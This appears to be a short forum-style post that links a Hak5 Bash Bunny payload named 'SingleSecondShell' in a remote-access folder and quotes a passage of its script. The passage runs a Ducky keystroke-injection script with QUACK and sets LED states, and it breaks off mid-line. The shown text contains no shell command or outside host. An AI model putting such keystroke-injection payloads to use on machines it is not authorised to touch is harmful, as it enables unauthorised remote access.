geihub address: https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/remote_access/SingleSecondShell it's say: LED ATTACK   if [ -f "/root/udisk/payloads/${SWITCH_POSITION}/ducky_script.txt" ]; then   QUACK ${SWITCH_POSITION}/ducky_script.txt   LED FINISH   else   LED FAIL   echo "Unable to load ducky_script.txt" >> /